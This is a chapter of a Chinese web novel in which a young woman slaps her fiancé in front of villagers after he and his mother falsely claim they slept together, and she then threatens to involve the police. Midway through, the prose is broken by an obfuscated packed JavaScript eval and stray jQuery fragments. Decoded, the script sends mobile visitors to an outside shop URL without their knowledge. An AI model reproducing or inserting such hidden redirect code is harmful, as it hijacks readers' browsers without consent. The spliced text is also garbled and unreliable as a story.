还没等众人回过神来,刘思敏的手又扬了起来。
“这两巴掌,是打你不知廉耻,对我动手动脚!”接着“啪啪”又是两嘴巴,“这两巴掌,是打你黑心黑肺,颠倒黑白无污我名声!”
刘思睿抱着女儿,和徐向东交换了一个眼神:打得好!
为防止赵志强还手,俩人不约而同地,从老砖爷身后出来往前站了一步。
赵母见状,眼睛都红了,尖叫着从地上爬起来朝刘思敏冲:“你个死丫头,竟敢打我儿子!我撕烂你的脸!”
秦来弟还没走到院门口,一看,哎哟一声把老太太抱住:“婶子,婶子,您聋啦?志强让打的,这要求思敏得满足他。”
秦来弟干活有一把子力气,赵母动弹不得,气得眼珠子通红,秦来弟箍得紧紧的,笑得更欢了:“这老些年,还从没遇到过讨打的呢。”
刘思敏一个大姑娘,又瘦弱,才80来斤,巴掌扇在脸上并不怎么疼。可当着这么多人的面被一个女人扇,这脸丢不起。赵志强脸上是卑微,心里却恨得滴血,不能再让她打下去了,再打,他以后在村里就没法抬头做人。
他忽然扑通一声跪倒在地上:“思敏,你别气,都是我的错。你要是打我能心里痛快些,你就打,我不怪你,真的。”
刘思敏看着他这副虚伪的嘴脸,只觉得无比恶心,冷笑一声:“这可是你让我打的。”
这被打个两三下还行,这要等着被打可就不好看了。赵志强双手抓住刘思敏的衣角,眼泪鼻涕一把:“思敏,我错了,我真的错了,你就消消气吧。以后你想打就打,想骂就骂,我都听你的,只求你别悔婚,别丢下我,行不行?”
邻居们都沉默了,这老爷们怪窝囊的。
“这也太不给面子了,说打就打啊!”
“就是,都订婚了,这是干啥呀!”
“可不是这么说的,这老赵家不明显败坏刘思敏名声吗?”
“可不是呗,要是你家姑娘被这么编排,不得打断这人的腿,打俩嘴巴子都是轻的。”
刘思敏看着他这副无耻的模样,只觉得一阵反胃。
纵使她活了两辈子,见惯了人心险恶,也从没见过这么厚颜无耻的人。她一把甩开,抬脚将他踹翻:“赵志强,本来我还想给你留点脸面,毕竟咱们两家也算认识一场。可你们娘俩自己不要脸,那就别怪我把你的脸皮揭下来!”
赵志强被踹得结结实实,却依旧不死心,还想去拉扯刘思敏:“思敏,我错了,你再给我一次机会……”
赵母见儿子被踹,这是诚心要退婚啊!好哇,都别好过喽!“刘思敏你个小贱人,你谋杀亲夫啊!你跟我儿子睡都睡了,你还想退婚另嫁,你做梦!”
听得秦来弟怒火中烧:“你胡说八道!我家三妹清清白白的。”
围观的邻居嗡的一声,众人都说:
“陈婆子,这就是你对不对,你儿子跟人家动手动脚,人家要退婚,你就往人家身上泼脏水?”
“就是,啥人啊!”
“思敏可不是那样的人。”
围观的人越来越多,赵母索性破罐子破摔,扯开嗓子嚷嚷:“大家伙儿都来评评理啊!我可没胡说。这个刘思敏,跟我儿子都订了婚,俩人早就睡在一块了。现在却反悔不想嫁,还让她哥和她姐夫打我儿子!”
这话一出,围观的人都议论纷纷,陈婆子说得煞有介事。
议论声此起彼伏。众人眼神也都变得异样起来,有好奇的,有怀疑的,也有同情刘思敏的。
刘思睿一把将闺女塞给媳妇,眼珠子都气红了,就要往上冲。“赵志强你个混蛋,你给我把话说清楚!”
二姐夫也回院子拿出洋叉,等着刘思睿说话。
赵母见状,非但不怕,反而更加嚣张,朝着四周大喊:“快来人啊!老刘家打人了!我要报公安!我要让公安来评评理,看看他们老刘家是怎么欺负我们老百姓的!”
刘思敏忙拦住大哥和二姐夫:“大哥,二姐夫,别冲动。”
刘母原本气得坐在大门口,听着婆子这么说,气得又站起身,回院子找铁锹。秦来弟把孩子塞给婆婆:“娘去照看二妹,别气着动了胎气,有我们呢。不叫三妹受欺负。”
刘天骄举着胳膊一脸兴奋:“打,打他,坏人欺负姑姑。”
秦来弟把婆婆往院子里推:“我姑娘说得对。”转身从婆婆手里抢过铁锹,叫上儿子:“走,卫星,小姑姑让人欺负了,是不是爷们儿?”
刘天骄:“是爷们儿,揍他!”
刘母怕二女儿激动,一手抱着大孙女,拉着人进了院子,在院墙里往外看,安抚气得不轻的老二:“别动气,有你哥呢,还有卫东,来弟力气也大。”
从一开始就没敢往前凑的刘思慧气得不轻,肚皮都直抽抽,忙慢慢地捋:“欺人太甚了!我这就是怀着孕,不然非挠她满脸花,这是什么人家!”
刘母也后悔:“都怪我,谁承想啊。”
刘思慧隔着墙头看着外面,手一下一下捋着肚子,嘴里小声念叨:“不气不气,不值当的……”
秦来弟领着儿子站到丈夫和妹夫身边。
老砖爷脸色越来越沉,手里的拐杖在地上重重敲了一下,发出“咚”的一声闷响,人群的议论声又一次安静了下来。
老砖爷也起身,瞪着赵母:“老陈婆子,你当我是死的?任由你在这胡咧咧。”
这么多人站在身后,刘思敏眼眶发热。
“老砖爷,您坐着。我能处理。”她劝大哥大嫂和二姐夫:“放心,我不是小孩儿了,这点事儿我能处理。”
赵母一边喊,一边抹起了眼泪,哭得一把鼻涕一把泪:“我们家志强长得一表人才,虽然没考上大学,但也是个老实人。我们家拿出300块钱彩礼,那可是全村最高的彩礼,就是想让思敏嫁过来不受委屈。可你们老刘家倒好,收了彩礼,又想悔婚,还打我儿子。这是要逼死我们老赵家啊!大家伙儿评评理,都订婚了,我儿子摸她两把,算不算耍流氓?这老刘家,就是欺负我们平头老百姓,不讲道理啊!”
有些不明真相的邻居,看向刘思敏的眼神都变了,窃窃私语的声音也越来越大,甚至有人说:“是啊,都订了婚了,摸摸也没啥,刘思敏这姑娘,是不是太矫情了?”
“说不定刘家真的是想悔婚,又不想退彩礼,才故意找借口。”
刘思敏抡圆了胳膊,“啪!”的一声甩在赵志强脸上,看着赵母:“你接着说,你说一句我就打一下。”
赵母不干:“都看看,都看看这个刘思敏黑了心肝的……”
“啪!”又是一嘴巴。
赵母:“……你……”
“啪!”又是一嘴巴。
赵志强嘴里出了血,说话都含糊:“思敏别打了。求你。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792390|210438||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
刘思敏低头看着跪着的赵志强:“不行啊,刚才是你让我打你的。我本来不想打了的。但是你娘胡说八道,说我们俩睡了,我生气就得打你。现在是你娘让我打的。”
“你放……”
“啪!”又是一嘴巴。
赵志强实在受不了了,七八个嘴巴,刚开始还好,思敏一个大姑娘又瘦,没干啥活,他只觉得思敏的手滑腻腻的,打在脸上和摸他差不多,也不疼。
可是打得多了也疼啊,他忙求:“娘,娘别说了。”
刘思敏扫向赵母,问赵志强:“你能好好说话吗?不用你娘冲锋陷阵。”
赵志强被拆穿,脸一红,听思敏说好好说,忙点头:“能,能好好说。你说我和我娘都听着。”
看刘思敏冷了的脸,又补充:“我说。我娘不吱声。”
刘思敏又被气笑了,真是时刻不忘演戏。
她不搭理他的表演继续说:“今天,你母子二人是非要败坏我的名声不可?”
赵母刚好说话,刘思敏的手高高举起,赵志强忙接话:“不是,我只是还想和你结婚过日子。”
刘思敏点头:“知道了。所以你和你娘商量好的说你摸了我,不成又说你睡了我?”
赵志强为难:“不是。”
不是?
“不是商量好的?还是说不是你摸我?还是说不是你睡的我?”
赵志强的聪明都用在这上头了,刘思敏深呼一口气:“话得说清楚了。我这边说得很清楚,你下午来提亲对我动手动脚,要摸我,我扇了你嘴巴子。这事真不真?”
赵志强不说话,赵母想说,老砖爷把拐杖往前一戳,杵在赵母脚背上。赵母疼得一缩脚,话也噎了回去。
老砖爷问赵志强:“思敏说的是不是实话?”
赵志强还想含糊,刘思敏见他不撞南墙不回头:“那咱们说第二条,咱们俩睡了吗?”
赵志强没想到刘思敏会大剌剌地说出来,脸红低头,似乎是默认。
刘母气急:“这个老三,咋冒虎气,啥都敢说。”
已经有村民忍着笑了。
老砖爷也皱眉,这丫头嘴上咋没个把门儿的,就算没啥事,村里也得传她冒虎气,平时看着挺灵的。
刘思敏也不想说得这么清楚,可是人家都上门了,模棱两可的话难道就不引人猜测吗?
刘思敏又问:“赵志强,你是说不上来还是不好意思说?”
赵志强脸上青红一片早没了当初俊秀,却扭捏着说:“你说啥就是啥。”
刘思敏看向周围,一脸兴奋看热闹的村民,笑了:“你是要找死啊!”
赵志强不明所以,徐向东不着急了,刘思睿也反应过来,长长舒了口气。
秦来弟气得不行:“你俩到底动不动手,三妹岁数小,不知道这唾沫星子能淹死人。你俩咋还有心思笑。”
刘思睿劝媳妇:“你看着吧,赵志强和他娘得挨家挨户地解释和三妹啥事没有。但凡落下一家,以后得罪谁家,谁家姑娘在路上出点啥事,绝对第一个怀疑是他赵志强。”
秦来弟只听刘思敏说:“报公安吧。我国法律,违背妇女意愿做那种事,那是要蹲大牢的。轻的三五年,重的十年往上,再重直接吃一颗铁花生。”
看热闹的人群,二三十人,忽然一静,落针可闻。
赵母都傻了:“啥?!”